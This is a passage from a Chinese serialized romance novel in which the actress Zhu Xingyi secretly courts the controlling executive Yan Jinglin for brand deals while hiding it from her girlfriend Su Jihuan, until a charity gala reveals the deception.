暗红丝绒鱼尾裙裹着狐狸蓬勃的曲线，银色长耳坠随步伐摇晃。这张明艳的脸，褪去了往日锋利的锐气，眉眼间多了几分撩人的媚态。 晏瑾年还记得第一次近距离接触祝星亦的那天，戴上桂冠的明艳爱豆眼里是藏不住的锋利和野心，漫天的彩花落下，亮晶晶的眼睛和她对视。 后来的宴会间隙，这只狐狸吻上她的唇，口口声声说喜欢她，却从没和她在一起过。 [我喜欢你］是最容易过期的谎言，她却信了那么久。 “晏总在教妹妹做生意？”祝星亦在晏瑾年面前驻足，“瑾年姐，需要我教你如何讨别人欢心吗？” 晏瑾年攥着手指不语，和云廊谈判失败的她现在没有自信在晏璟霖面前表现什么。 祝星亦晃晃酒杯和晏璟霖碰杯，红唇咧出一个温顺的弧度。 她眼里满是对晏璟霖的敬意，再无当初成团夜上的意气风发。 晏瑾年捏紧裙子。 这样的祝星亦实在陌生。 她宁愿祝星亦咬得她头破血流，都不愿看到祝星亦被晏璟霖规训。 祝星亦立在晏璟霖身侧，她们讨论上周见过的某位制片人家里的名贵画作。 柔软的笑声阵阵，晏瑾年低头凝视自己杯中的涟漪。 她仰头咽下凉酒，喉间一阵灼痛。 良久，舞曲响起。 晏瑾年眼睁睁看着晏璟霖的手搭上祝星亦的后腰，红丝绒与香槟色在旋转中化为浓烈的火。 一舞结束，祝星亦从舞池退场。 晏瑾年截住祝星亦，声音带着冰碴：“你现在要心甘情愿被她控制吗？做她的傀儡？” 祝星亦转身离去，却被晏瑾年抓着手腕去露台。 祝星亦强硬抽出自己的手腕，上面的红痕触目惊心。 晏瑾年贴近祝星亦，却觉得这只狐狸陌生得很，“星星，你和她合作我没意见，但不要靠近她，她很危险，她没有你想得那么好说话。她阴冷无情，永远都只会为自己和晏氏着想，若是触及她的利益，她不会有一丁点耐心陪你玩。” 祝星亦轻轻揉自己的手腕，声音淡淡柔柔的，“当初苏老师也是这样跟我嘱咐，让我不要靠近你。” 晏瑾年疑惑：“什么？” 祝星亦笑而不语，她转过身看向远方，修长的影子被钉在地板上。 “晏瑾年，你现在像一条抢不到骨头的流浪狗。”她笑着，满是讥讽，“尾巴都要断了，真可怜。” 晏瑾年滞在原地，她觉得她无法再告诫祝星亦什么，现在的祝星亦已经完全沦陷在晏璟霖的陷阱里。 因为沦陷，所以收起了所有的锋芒和刺。 她捏紧了拳头冷笑。 她以为祝星亦永远都会用刺保护自己，结果轻而易举向晏璟霖投降。 晏璟霖真是好手段，能把一只浑身带刺的野狐狸训成听话的好狗。 祝星亦拧紧眉头：“不要像一条丧家之犬一样看着我，快收好你的尾巴。你若是没有其他事，我就先回去了，我和你姐姐跳舞还没尽兴。” 祝星亦提着裙子准备离开，却被猛地攥住手腕往后推，腰身抵在栏杆处，过大的力度硌得她吃痛地皱着脸。 晏瑾年骤然贴上她的身子，红唇近在咫尺。 啪—— 祝星亦扬起手掌，清脆的巴掌声在静谧的露台颇为刺耳。 晏瑾年被打偏了脸，蓝宝石耳坠晃动不止。 祝星亦抬步靠近晏瑾年，温热的指腹划过晏瑾年泛红的脸颊，她贴在她耳畔轻笑：“乖，别逞强，你是比不上你姐姐的，但如果你做你姐姐听话的狗，我肯定会对你刮目相看。” 宴会厅里换了个曲子，祝星亦转身离开，裙摆扫过晏瑾年的脚踝。 “我讨厌现在的你。”晏瑾年在她背后出声，“你怎么变成这个样子了？” 她没有回应，绑带高跟鞋踩上柔软的红毯踏回宴会厅。 晏璟霖端杯酒给她：“刚刚去哪里了？” 祝星亦温顺地垂头与她碰杯，“小狗不听话，想咬人，教训了一下。” “你应该多给她点东西，比如……”晏璟霖忽然倾身，宝石项链在她雪白的颈间晃动，“一个吻，或者，一个美好的夜晚。” 祝星亦笑着喝下冰凉的液体，“小狗乖的话想要什么我都能给。” “比如你？”晏璟霖玩味的视线落在祝星亦身上，声音是不可多得的愉悦，“乖小狗。” 祝星亦微微仰着下巴，纤细的手指抚上晏璟霖的手背，漂亮的桃花眼在晏璟霖脸上流转，“也许？” 旋即她侧过身子，抬眸冲晏璟霖微笑后抬步与她人举杯，留给晏璟霖一个漂亮的背影。 漆黑的眸子闪了闪，晏璟霖嗅了嗅余香的手背，自言自语：“也许。” // 晚上九点半，苏寄欢抱着资料推开房门。 拍摄《春风》期间她仍与祝星亦住一起，像往日那般梳理剧情对戏。 袁梅和袁兰的对戏多，两姐妹的感情戏也串联起整部剧的情感色彩。从姐妹情深到生嫌隙到决裂再到和好，同样贯穿了整部剧的剧情线。 演好个人角色不容易，演好两人的对手戏更难。 拿到剧本后，导演就强调了袁梅和袁兰的对手戏是全剧的重中之重。袁梅和袁兰的决裂不仅是袁家儿女对[从商］[从政］的分歧，更是改革开放以后，计划经济体制下的精英路径和市场经济催生的创业浪潮的碰撞。 揣摩角色的心理变化和两姐妹的情绪转折，苏寄欢觉得最难演的是袁梅袁兰的争执戏份。 平时对戏的时候祝星亦没有很好地处理袁兰与袁梅复杂又激烈的争吵，虽然这段戏会放在后面拍，苏寄欢还是担心祝星亦无法很好地展现这些情绪。 不过时间还长，她会慢慢忙祝星亦找感觉。 苏寄欢放下资料去敲浴室的门，敲了几下没人应，她担心里面的祝星亦出了什么事，推开门后看到祝星亦蜷在浴缸里睡着了。 腾升的水雾裹着淡淡的酒气在浴室里蔓延，苏寄欢小心踩着湿滑的地板蹲下身子拍拍祝星亦的肩。 浑身倦意的人抬头，脸上的酡红像印在洁白裙摆上的酒渍。 “怎么睡在这里了？着凉了怎么办？”苏寄欢的指尖停留在祝星亦玫瑰色潮红的后颈，被溅起的水花缠住手腕，“又喝酒了吗？” “苏老师……”尾音懒懒散散的像朵云彩，祝星亦翻身打了个哈欠，“朋友聚会非要拉我，我喝了一点就赶紧回来了。明天还要拍戏，不想耽误。” 她湿漉漉的胳膊环住苏寄欢的脖子，睫上还垂着水珠，“苏老师，泡澡泡得好困，你抱我回去睡觉。” 苏寄欢擦干她把她抱在怀里的时候，她已经睡着了。 一个吻落在她脸上。 祝星亦半睁着眼搂紧苏寄欢的脖子，“怎么偷亲我？” 苏寄欢把她轻放到床上，她跌入温暖的柔软里，疲惫的身子得到了释放。 一片阴影袭来，苏寄欢印上她的唇，在她耳边呢喃：“那现在光明正大亲。” 祝星亦没了困意，翻了个身坐起来掐着对方的腰抱怨怎么这么讨厌。 苏寄欢移开她的手拿过桌上的剧本递给她，“睡不着继续看剧本。” 祝星亦抓着苏寄欢的肩在雪白的脖子上留下齿痕：“让你女朋友加班，给不给加班费？” “加班费没有，但可以加餐。”苏寄欢啄她脸，“再多读读剧本，晚点我们再试一下明天的戏。” 现在九点半，试戏都不知道要等到几点。 祝星亦抚摸令她心安的柔软，在苏寄欢耳边小声说：“那我可以点菜吗？” “看你表现。” 祝星亦咬她：“小气。试完戏都多晚了，你能坚持多久？” 埋怨的声音像在撒娇，苏寄欢转头捏祝星亦鼻子，“要看你能坚持多久。” 如此一说，兴趣极大。 祝星亦抿唇抱起剧本。 “当听到在广州十三行打工多年的小琳描绘深圳有一片金山银山等着开发时，16岁的袁兰放下袁梅给她买的粉色圆珠笔，开始畅想那里有一片属于她的金山。” “袁兰偷偷坐着火车离开了生活了十多年的老家，等她辗转落地深圳后，藏在衣服口袋里的钱已经不知道什么时候被扒手窃走了。好在她相信有手有脚就不会在深圳饿死，终于在两个月后攒下一笔可观的钱。” “昼夜轰鸣的推土机驶过蛇口工业区的夜，袁兰看着大厦工地上的大红色标语，拿袖口擦擦脏兮兮的脸。她顺利运送一大批活鸡到罗湖口岸和港商完成了交易，凌晨，一身鸡屎味的她数着钞票幻想等她攒够了钱要去购一批缝纫机。她要做出最漂亮的牛仔裤。” “被合伙人卷走所有钱的那个下午，袁兰终于明白当初袁梅说的是对的。她应该继续上学念书，以来看懂那些弯弯绕绕的合同。几天后饿到肚皮干瘪的她写信给袁梅，她说，姐姐，我在深圳出车祸了，你能不能给我寄500块钱。” “袁兰把抽屉的一沓钱甩在桌子上，她跟袁梅说，我马上就能在深圳买一套大房子，你还在排队等单位给你分房。你念书多就比我有用吗？再说你年纪都这么大了，能不能快点结婚，不要再管我了。” “后来她们又发生了巨大的争执，袁梅摔门而去，连夜从深圳离开回了老家。袁兰偷偷在车站外看袁梅的背影，她忽然想起她在很小的时候，她曾经抱着袁梅的腿说，姐姐，他们说长姐如母，妈妈不在了，你能不能做我一辈子的妈妈。” 顺完简洁版的剧情，还未再对台词，祝星亦已经困得倒在床上。 “表现这么差啊。”苏寄欢抱着剧本躺在祝星亦身侧，手指刮了下她的鼻梁调侃：“说不定餐都不能给你加。” 祝星亦拉着她的手撒娇：“不要，吃不饱没力气工作。” “就会耍赖。” “就喜欢赖着你。”移了移身子，祝星亦吻上苏寄欢的眼角，“你要让着我。” 人困了，总不能逼着人工作。 苏寄欢收拾床上的剧本放好，刚坐床上，祝星亦从背后环住她的腰身：“袁兰创业好难，起起落落，起起落落。苏老师，你当初创[苏盛］的时候难不难？” 创[苏盛］难不难？ 一个问题把苏寄欢的记忆拉到过去。 求助无门的过去好像还在昨天，那时候苏寄欢开始疑惑回国到底是不是正确的决定。但当她看到手臂上的伤痕时，她想，离开那里，再糟糕也不会差到哪儿。 苏寄欢握住祝星亦的手，稍稍侧了下脸说：“最初肯定是举步维艰，旧敌仗着自己的资源和人脉，处处限制我们的发展，想要把我们再次扼杀在摇篮里。找投资四处碰壁，每天都在为自己的生存发愁。” “后来呢，后来是怎么熬过来的？” 后来啊。 苏寄欢吻上她的脸颊，“后来一想想，如果放弃就会别人抓走放笼子里，就觉得再没有什么能让我低头。人要有破釜沉舟的勇气，明天必会达到，即使阴晴不定，那都是最值得期待的希望。总而言之，做好当下，未来，就交给未来。” “有很多志同道合的朋友也有程老师的建议和帮助，在妈妈和我以及大家的努力下，公司慢慢有了起色，一步一步走到今天。” “现在想一想，只要熬过辛苦的过去就能在未来的某一天遇到你，我真的是太幸福了。”苏寄欢说着，身子一侧把人抱在怀里，“假如我在那时知道我会在未来遇到你，我一定少抱怨一点辛苦。” “苏老师……”祝星亦眼眶发热，她抓住苏寄欢的手，想说什么，话到嘴边没办法涌上来。 呆呆地看着苏寄欢好久，祝星亦靠在她肩头：“创业都是这么辛苦的吗？” 苏寄欢拍拍她的背，轻叹一声：“创业难，守业更难。每天都要面对各种挑战和危机，一点都不敢松懈。” “那我这么轻松地享用你的成果，你会觉得很不公平吗？你这么辛苦，我却轻而易举享受了这些东西。”祝星亦问。 苏寄欢阖上眼说：“可我不希望大多数人吃苦，如果可以轻松成功、轻松实现梦想，为什么还要绕那么多弯路去受伤？这条路本来就不好走，我能提供一把伞，就能带更多人走过暴雨天。” 卷长的睫颤了颤，温温热的东西流向四肢百骸。 大天使的羽翼下，笨拙的狐狸被高高捧在掌心。 祝星亦咬着苏寄欢的手腕，琥珀色的眼眸映着清冷静谧的脸庞，“你不怕把我惯坏？” 苏寄欢摇头：“我希望我可以永远有能力惯着你。” 祝星亦皱着鼻子轻笑一声：“你这么溺爱我小心被别人嚼舌根。” 苏寄欢拥紧她，笑意蔓延在眼尾：“那你帮我捂着耳朵，只要我听不到，别人说什么我都不在乎。” 她吻上她。 她捂上她的耳朵。 “你说了什么？”苏寄欢问。 祝星亦咬她耳朵：“也许是我爱你。” // 晏璟霖在拍戏间隙找到祝星亦，她约她喝咖啡。 地点在影视基地内部一家伪装得不错的咖啡店，外表是很有年代感的店铺招牌。 这是个不妙的时间。 确认接下来几场没镜头，祝星亦放下剧本起身去赴约。 赴约前，祝星亦转身找到苏寄欢。 “有朋友来探班，我应付一下。”祝星亦说。 苏寄欢抱着剧本问：“要去哪里？” “随便喝杯咖啡。” 等到咖啡店后，晏璟霖已等候多时。 祝星亦匆忙坐到晏璟霖对面，“抱歉，来晚了点，让您久等了。” 她顶着90年代时髦的打扮，坐在晏璟霖对面像是来自另一个时空的人。晏璟霖盯着她看了许久，最后手指敲着桌面说真有意思。 “出差给你带了个小礼物，我想你应该会喜欢。”晏璟霖打开盒子，是一条漂亮的项链。 漂亮的孔雀石，却不是祝星亦喜欢的。 “谢谢你。”祝星亦伸手去接，被晏璟霖收回。 对面的人食指勾起项链起身站到祝星亦身后，项链缠在她脖子上，扣上的一瞬间，一双手按在她肩膀上。 “Vitiyya的代言，要吗？”晏璟霖的声音不高，带着不容置疑的口吻，“出差时碰到Vitiyya中国区的高管，和他们聊了聊你，他们很中意你。” 银色的汤匙搅了搅咖啡，祝星亦抿唇笑了笑：“您出差还想着我，劳您费心了。” “下周五有空吗？我想带你出差。” “我需要跟剧组……”祝星亦说着，项链忽然被勾紧，似乎要勒断她的脖子。 她往后仰了下，声音里带着颤抖：“我会跟剧组请假，辛苦你带我外出。” 雪松味缓缓飘远，对面人对黑眸像一片漩涡。 “你只需要学会接受，[拒绝］并不是你能用的词。”晏璟霖合上盖子推到祝星亦手边，“把时间空出来，没有什么事值得你推掉我。” “是。” 迎着暮色回去的路上，祝星亦取下项链。她把项链装到戏服口袋坐回自己的板凳上，还没轮到她演，她放松了些，安静看其他人演戏。 导演喊她时她方起身。 “别忘记我前几天教你的，台词声调注意一下。”苏寄欢拍拍她的背，“晚上我要回家一趟，我们速战速决。” 祝星亦点头。 苏寄欢坐到祝星亦的板凳上看对戏，脚下踩了个东西。 她捡起来，发现是Vitiyya的最新款项链。 第108章 我会给你奖励 导演喊完“卡”后，今天的工作结束。 “大家辛苦了。”苏寄欢双手合十对所有的工作人员表示感谢。 去化妆间卸妆，苏寄欢接了个电话，是苏菱打来的。 苏菱催她拍戏结束快点回去。 “我等下去我妈家处理点事，你先回去，我可能晚点回。”苏寄欢挂完电话低头在手机上敲字。 祝星亦点头：“好。” 她想到晏璟霖要带她出差的事，抠了下手指说：“苏老师，下周五我要请假一天，你能不能跟导演说一下安排好我的工作。” “好。你周五要去做什么？” “好久没见我队友了，我去和她们见一见。” 苏寄欢爽快答应：“行，我跟导演说排一下你的戏份。” 匆匆卸妆换完衣服，苏寄欢起身离开。苏芙已经在等她了，时间还早，不过等回到新应区不知道是什么时间。 祝星亦出门送送苏寄欢，苏寄欢手插大衣口袋里拿出孔雀石的项链递给她：“这是你的项链吗？” 祝星亦手指勾过项链点头：“是我的，我还没注意它掉了。” “Vitiyya的项链吗？” “对。最近挺喜欢这个品牌。” 苏寄欢了然，“回头带你再选一些，它们有一个玫瑰系列的，我想会很适合你。” “好。” 苏芙降下车窗敲敲方向盘，“走啦鸭头，实在舍不得就带星星一起回去。” 苏寄欢摩挲着祝星亦的手背，歪了下头，询问她要不要跟着去。 祝星亦把项链放在苏寄欢手里说：“不去了。苏老师，这条项链我不太喜欢，你帮我收着，回头你给我买玫瑰系列的。” 触着项链的余温，苏寄欢低头吻了吻祝星亦的额头，“好，改天带你去看，我先走了。” “嗯。” 古斯特融入夕阳的余晖里，忽然亮起的路灯吞咽下焦糖的暮色。 祝星亦在路口驻足许久，深秋的落叶坠在她肩头。她拂掉那片落叶，和自己的影子一并归入黄昏的光线。 “喂。晏总。下周五我按时赴约。” // 祝星亦停在餐厅门前，颈间是前几天苏寄欢带她挑的Vitiyya玫瑰系列项链。红宝石和钻石镶嵌在玫瑰上，和她一样明艳又耀眼。 “今天没戴我送你的？”晏璟霖指尖勾起祝星亦颈上的项链，“你不是说喜欢？” 祝星亦勾着唇向一旁退去，“见Vitiyya高管的话肯定要展现自己的诚意，另外这款很适合我今天的衣服。” 侍者前来引路，晏璟霖打理了下自己裙上的花朵率先迈步进去，“安迪马上到，记得等下不要说错话。” 祝星亦攥紧手指跟着进去。 她坐在晏璟霖身侧，雪松的味道往她身上飘去。安迪过来的时候，她跟着晏璟霖起身。 “璟霖，又见面了。”安迪拇指上戴着祖母绿戒指，米白色的套装裙上还有一枚同色胸针。 Vitiyya的设计总在古典和新潮里横冲直撞，怪得很，祝星亦不大喜欢这个品牌，但苏寄欢为她挑的项链她最喜欢。 “祝小姐。”安迪翘着唇角朝祝星亦伸出手，“你的眼睛很漂亮，像琥珀。” “谢谢。” 落座，侍从上了唐培里侬，安迪喜欢这款酒。 晏璟霖抿了一口红酒缓缓说：“过段时间她的《春风》就杀青了，接下来会进《孤独诗人》剧组，这是清晚的片子。” 安迪的红唇没有在玻璃杯上留下唇印，她放下杯子，“清晚的片子吗？那我很期待，她的片子向来很优质。听名字这是一部文艺片？” “是。我们还获得了Fifffly的品牌冠名。”晏璟霖咽下酒液，侍从过来上了第一道菜，布列塔尼蓝龙虾尾。 祝星亦注意到安迪略显愉悦的微表情，Vitiyya早年便想和Fifffly做一次联名设计展，但一直没什么机会。 “听说Vitiyya下季主打文艺复兴元素？”晏璟霖突然开口，餐厅耀眼的光照不进她黑漆漆的眸子。 安迪点头，“是。我们也在找系列代言人，以及新的代言人。” 她的目光移向祝星亦，注意到那串玫瑰系列里最漂亮的项链，“祝小姐？” 晏璟霖用叉子碰了下盘子边缘，声响清脆，祝星亦的脊背瞬间绷直。 “您说。”祝星亦颔首。 安迪双手交握，倾身向前，“你有没有意向参加下个月月初的Vitiyya慈善晚宴？” 祝星亦瞄了眼晏璟霖的杯子，那上面留有半个指纹。她的手发凉，在触碰到桌面上更添几分凉意，很快她感受到桌下晏璟霖的膝盖撞击了她。 她赶忙说：“能参与Vitiyya的慈善晚宴，是我的荣幸。” 安迪举杯，耳垂上的翠榴石轻轻晃动，“那就期待下次见面了。” 三人碰杯，祝星亦扬起甜笑。 餐后，晏璟霖送别安迪。 时间不早了，祝星亦看看手机上的时间，估算苏寄欢何时收工。 她一早去和Shinyfive的队员见了面，随后匆匆跟着晏璟霖搭飞机出差。现在她疲惫得不得了，只想赶紧回酒店睡一觉。 “晚点会寄邀请函给你，你给我留个地址。”晏璟霖打量祝星亦，她今天很满意祝星亦的表现。 “好。”祝星亦留了酒店地址。 “你杀青后想庆祝一下吗？”晏璟霖征求祝星亦的意见。 换作以前，她可能不会想着做这些费心费力的仪式感，但现在，人乖了，她愿意做这些无用功。 祝星亦垂头拒绝：“不必了，太麻烦你了。” “你想出去度假的话，我会给你安排好一切。” “度假？”祝星亦掀起眼皮，“我自己吗？” “对。”晏璟霖朝她投去一个耐人寻味的目光，“那你想和谁一起？” 祝星亦抿唇笑：“我以为你会让我和晏瑾年一起，为你的好妹妹争取一次独处。” 晏璟霖缩了缩下巴，银色耳坠跟着晃动，“她需要补课，我不想便宜她。” 深秋的枯叶掠过街道，祝星亦晃了下身子，琥珀色的眼珠在暗处泛起幽光，睫毛投下的阴影垂在眼睑。 她的声音像烤化的蜜糖，轻轻一拉，是玻璃般透明的丝线，“那你呢？” 尾音像猫翘起了尾巴，搔着晏璟霖的小腿。 晏璟霖忽然俯身，拇指抵住祝星亦的下颌。 指腹碾过祝星亦的唇，留下胭脂色的红痕，“你表现得好的话……” 喉咙里带出低哑有颗粒感的声音，很快，笑声混着热气灌入祝星亦的耳朵，“我会给你奖励。” 她嗅了下从祝星亦领口处涌出的橘花香气，抽身退后两步，将耳边垂落的发丝挽在耳后。 “走了，回麓城。”晏璟霖唤祝星亦走。 祝星亦眼尾上挑，跟在她身后。 飞回麓城后赶到酒店，苏寄欢还没回来。 祝星亦躺在沙发上休息一会儿后匆匆忙忙去洗漱，并消除下屋内的酒精气味。 这段时间以来，她喝的酒越来越多。 以往参加各种应酬，苏寄欢都会为她挡酒，或者主动站出来说她不太会喝酒。 几次应酬下来她可以滴酒不沾，杯里只有清水或果汁。 躺了会儿胃有些痛。 她去医药箱扒拉止痛药吃。 拿到剧组的两盒止痛药只剩最后一粒。 她就着凉水吞下。 苏寄欢收工回来第一时间是把祝星亦抱在怀里，少见一天就想得要命。 “那等我去了新剧组，你不是很少见到我？”祝星亦缩在苏寄欢怀里，像倚靠着苏寄欢胸口酣睡的猫。 苏寄欢搂紧她，“可以带我去剧组吗？把我装在你的行李箱里，提着就能走。” 祝星亦笑出声，“把你装在行李箱里？苏老师，我是要把你分尸吗？” “你肯定舍不得。” “我当然舍不得。”祝星亦靠在她左胸位置听她的心跳声，“我也怕见不到你。” “到时候我会去常常看你。” “好。” 入夜，祝星亦翻身吻上苏寄欢的额头。 片刻后，她听到苏寄欢的呓语：“星星，我听别人说，昨天在南城看到你了。” 祝星亦垂下眼，声音轻轻：“看错了吧，我昨天一直在麓城。” 对方没了声响，呼吸浅浅。 三天后的清晨，苏寄欢被敲门声吵醒。 快递员递上两个信封。 一个祝星亦收，一个苏寄欢收。 都是Vitiyya寄来的。 苏寄欢坐到床上拆开两个烫金信封，如她所想，都是邀请函。 两封邀请函叠出细微色差，她抚摸着自己名字上凸起的火漆印，忽然听见身后床褥窸窣。 “苏老师……起那么早。”祝星亦从被窝里探出头，乱七八糟的头发窝在颈边，蓬松得像小羊羔。 她打了个哈欠，裹着被子滚到床边，晨起沙哑的嗓音带着一丝丝甜腻。她瞥见邀请函后，瞳孔骤然紧缩。 苏寄欢晃晃邀请函：“Vitiyya的慈善晚宴，我申请了我们两个人的，但她们把信件分开发了。” “但邀请函很漂亮，是不是？”苏寄欢转身看到女孩突然跪坐起来，发梢翘起可爱的弧度。 祝星亦接过邀请函看了看，又放回苏寄欢手里，“我们都去的话，你能不能帮我挑礼服？” “好啊，还是想要之前那种成熟点的吗？”苏寄欢问。 祝星亦扑进她怀里蹭着脖颈，橘花香气掩盖了轻微的颤抖，“不要，你给我选适合我的。” “她们到时候也会寄首饰过来，我们会在晚宴上当一晚珠宝架子。”苏寄欢想起以往的珠宝晚宴就是这个流程，“我联系她们挑些适合你的，好不好？” 祝星亦咬她下巴，小腿蹭她的腰，“你为什么这么了解我？你把我看得那么透，我在你面前一点隐私都没了。” 小腿蹭开睡衣，嫩肉在腰身上滑动，挠得人痒痒的。 苏寄欢按住她的腿说：“那你捂上我的眼睛，我不看了。” 祝星亦拧眉嗔怪：“你老婆这么漂亮，你居然不看。” 老婆？ 苏寄欢抓住她的脚踝问：“什么？” 猝不及防，狐狸用了点劲儿按住她的肩压在她身上，细细软软的嗓音好似在咬她的耳朵。 “老婆。”祝星亦贴紧她的身子，“老婆老婆老婆。” 苏寄欢抚上祝星亦的背，顺着脊骨往上数骨头。 “你这样乱喊……”苏寄欢试图用指尖抵住狐狸的锁骨，尾音有些发颤，“不怕出事？” 祝星亦趴在她身上，海藻般的长发垂下来，发梢搔着她发烫的耳垂。 温热的气息在苏寄欢颈边游走，祝星亦的膝盖往上顶，“你不喜欢？” 她的手指滑过苏寄欢胸口，“不要否认，苏老师，你的心跳出卖了你。” 苏寄欢喉间溢出一声短促的哼鸣，原本虚搭在对方腰上的手猛地收紧。 “早上起来肚子好饿。”祝星亦忽然咬住她泛红的耳尖，潮湿的唇瓣碾过敏感处，“狐狸肚子都饿扁了，快点喂一喂。” 真丝睡衣往下滑了滑，露出瓷白的肩头。 苏寄欢望着她水光潋滟的眼睛，翻身把她压在身下，“别着急，会喂饱你。” 晨光倾泻一地。 // Vitiyya下一季是文艺复兴系列，慈善晚宴的布置更契合这个主题。 穿过巴洛克风格的宴会厅，巨大的《维纳斯的诞生》展牌立在宴会厅入口，祝星亦举起手机拍了个照。 这次晚宴被命名为[春神］，嘉宾做了精心的装扮。祝星亦抚过孔雀石椅背，回头不见苏寄欢，往刚刚来时的路走去，再转过身看到苏寄欢拿着号码牌过来。 “先去参加拍卖会，晚点来这里。”苏寄欢握住她的手，带她来到隔壁的拍卖展厅。 拍卖厅的穹顶都是米开朗琪罗的《创世纪》，一个链条从上帝与亚当的指间垂下，最下端是水晶苹果吊灯。 苏寄*欢带祝星亦坐下。 祝星亦抬头，那盏水晶苹果吊灯好巧不巧悬在她头顶。 像一把悬在头顶的利剑，像随时要坠落，然后把她砸得脑袋开花。 嘉宾入场落座，拍卖台上开始做准备。 祝星亦第一次跟苏寄欢参加高奢品牌慈善晚宴，有些好奇，眼睛在嘉宾身上乱瞟。斜前方的女人忽然转过头，镜片反光透过乌泱泱的人群投射在她脸上。 晏璟霖抿着唇隔着人群凝视祝星亦。 祝星亦收回目光，视线落在拍卖台后的大屏上。 “有喜欢的跟我说。”苏寄欢握住祝星亦的手。 手掌的温度透过蕾丝长手套传来，座椅下裙裾交叠。 祝星亦与她的掌心合上，轻轻嗯了声。 拍卖会开始，拍卖师一一介绍匣子里的珠宝。 “这款是维多利亚时期的红宝石项链，项链上的红宝石来源于……” “接下来这件，是我们当代新锐设计师Mfeia的杰作——星空之泪蓝宝石耳环。” “这款手链是稀有的珍珠与祖母绿组合的珍品……” 祝星亦没太在意那些饰品，听着木槌落下声和拍卖师的声音，她有点困倦。 “接下来是十二星芒紫钻胸针。这款胸针……”拍卖师掀开天鹅绒匣子时，祝星亦无意识揪住自己的裙子。 她喜欢这个。 同一时间，苏寄欢叩响举牌器。 竞价声此起彼伏，最后在苏寄欢最后一次举牌退潮。 “成交。”木槌落下，拍卖师微笑着继续介绍下一个饰品，“这款简洁流畅的翡翠绿戒指……” 苏寄欢握上祝星亦的手时，祝星亦惊觉自己屏住了呼吸。 “拿到了。”苏寄欢摩挲着祝星亦的手背，声音轻柔，“把星星送给我的星星。” 祝星亦咬着唇反握住苏寄欢的手，“苏老师，谢谢你。” 抬眸，金丝框眼镜的女人又看了过来。 祝星亦缓着呼吸凑在苏寄欢耳畔说：“谢谢姐姐送我的星星。” 拍卖会结束后，苏寄欢去工作人员那处签字确认。工作人员捧来嵌着星芒的乌木匣，苏寄欢只是轻轻推向祝星亦：“把星星摘给我的小星星了，喜欢吗？” 祝星亦抚摸匣身，打开盒子欣赏那颗十二星芒胸针。指尖抚过钻石锋利的棱角，浅淡的紫色像一抹烟雾映照在她手心。 这是她所见过的最美的星星。 她爱人送她的。 苏寄欢差工作人员先帮忙放好，挽着祝星亦的手臂进宴会厅，“你知道我把善款捐到哪里了吗？” “哪里？”祝星亦问。 苏寄欢歪头看她：“岭州。我捐给了岭州山村贫困女童。后期我也会让苏芙监督这笔善款的落实情况。” 祝星亦停下脚步喃喃：“岭州？” 苏寄欢点头：“对，你的家乡。” 祝星亦抓住她的手：“我的……家乡……吗？苏老师……” 她被这个惊喜震惊得有些无措。 苏寄欢拍拍她的手，要她放松些：“我以我们两人的名字捐赠的，我希望岭州可以飞出更多的小星星，像我的星星一样。” “苏老师……”祝星亦的声音卡在喉咙里，“谢谢你。” 宴会厅索然无味，除了苏寄欢。 祝星亦想再看看那颗胸针，她觉得她应该立刻戴上去来展示十二芒星的美丽。 苏寄欢有些懊悔让工作人员把胸针收回去，“早知道你那么喜欢我就为你戴上。” 祝星亦在桌下晃晃她的手，“当时只顾着和你说话，记不起来这事。” 圆形餐桌上的嘉宾很多，媒体们涌在不远处，祝星亦捂着嘴低声说：“都怪你，美色误人。” 苏寄欢还未再跟祝星亦说些什么，白裙女人走了过来。 她知道这个人，Vitiyya中国区高管，先前在一场宴会里打过照面。 “苏小姐。”安迪举杯和苏寄欢碰了碰，“好久不见，这套珠宝果然衬你，你像高贵的海洋女王。” 苏寄欢颈间是海神系列蓝宝石项链，八爪铂金托起蓝宝石，珊瑚纹路的耳坠泛起光彩，搭配淡蓝色鱼尾裙，衬得她像来自深海。 苏寄欢颔首微笑：“您过誉了，是Vitiyya很会挑饰品。” 安迪转向祝星亦，眼角的笑意攀爬上来。她盯着祝星亦颈上的项链感叹：“祝小姐，您戴这款经典的荆棘系列果然合适。这套是我为你挑的，上次见你戴那条玫瑰系列时，我就想好这次晚宴为你挑什么了。” 苏寄欢的笑容凝滞住，“上次？” 安迪保持微笑，“是啊，上次祝小姐和晏总跟我见面，祝小姐戴的就是玫瑰系列的Vitiyya。” 苏寄欢的身影微僵，酒杯映出她骤然收紧的下颌线。 晏总？ 苏寄欢的视线落在祝星亦脸上，却见祝星亦慌忙避开。 玻璃碎裂的声音响起。 苏寄欢笑着询问：“是晏瑾年吗？” 安迪忙说：“是璟霖。早前璟霖要跟我介绍祝小姐，我们便约了时间见面。前些日子璟霖带祝小姐和我吃了顿饭，我便认识了她，还给她发了慈善晚宴的邀请函。因为那次结识对她印象很深，所以回去就差人打包好这款荆棘项链。” 一些支离破碎的东西在脑海里重构，苏寄欢故作镇定地哦了声，“原来如此，这条项链确实适合她，我今天还跟她说了这件事。” 安迪说说笑笑，待碰到其他相熟的人便作别。 苏寄欢握着酒杯看向宴会厅门口的《维纳斯的诞生》，身侧的祝星亦沉默不语。 空气骤然凝滞。 却没有什么问题问出。 宴会结束后已是晚十点，厅外冷得很，祝星亦看到苏寄欢用羊绒披肩裹住自己。 她上前一步，指尖在碰到苏寄欢腰身时顿了顿，最后抱着木匣子站在苏寄欢身后。 “不早了，先回去。”苏寄欢语气温柔如常，迈步到车门旁拉开车门坐了进去。 祝星亦站在车外攥着指。 以往苏寄欢会先为她打开车门让她坐进去。 她咬着唇停在原地许久。 另一侧的门忽然被推开了。 “上车。” 车内闷闷的声音传来。 第109章 谁知道那些奖怎么得的 古斯特驶入麓城深秋的夜色，苏芙打着方向盘拐入大道，腕间钻石手链撞出清脆声响。 “你们两个今天玩得开不开心？”问完，苏芙看向后视镜里安静的两人，觉得奇怪。 往日两人会一起讨论宴会上遇到的人，怎么今天那么安静？ 苏芙询问：“你俩怎么了？宴会上有不愉快？” 后排随意坐着的苏寄欢指尖轻点真皮座椅，车窗外流光掠过她冷峻的五官。 “没有不愉快。”羊绒披肩从肩上滑落，她勾了下回答：“比想象中的有意思，见了很多眼熟的人。” 她瞥了眼身旁的祝星亦，没说话。 祝星亦安静坐着，很快，车驶入隧道，呼啸的风声盖过安静车厢内的衣料摩挲声。 苏芙认真开车，忽然想到了什么，蹙着眉说：“前些天我跟你妈逛街，差点跟你妈说漏嘴，幸好我反应快，转移了话题。你看你们都谈了大半年了，这种事也瞒不了她太久，没打算摊牌吗？” 车轮碾过减速带，苏寄欢垂下睫毛回答：“等藏不住的时候再说吧。” 随后车厢内是良久的沉默。 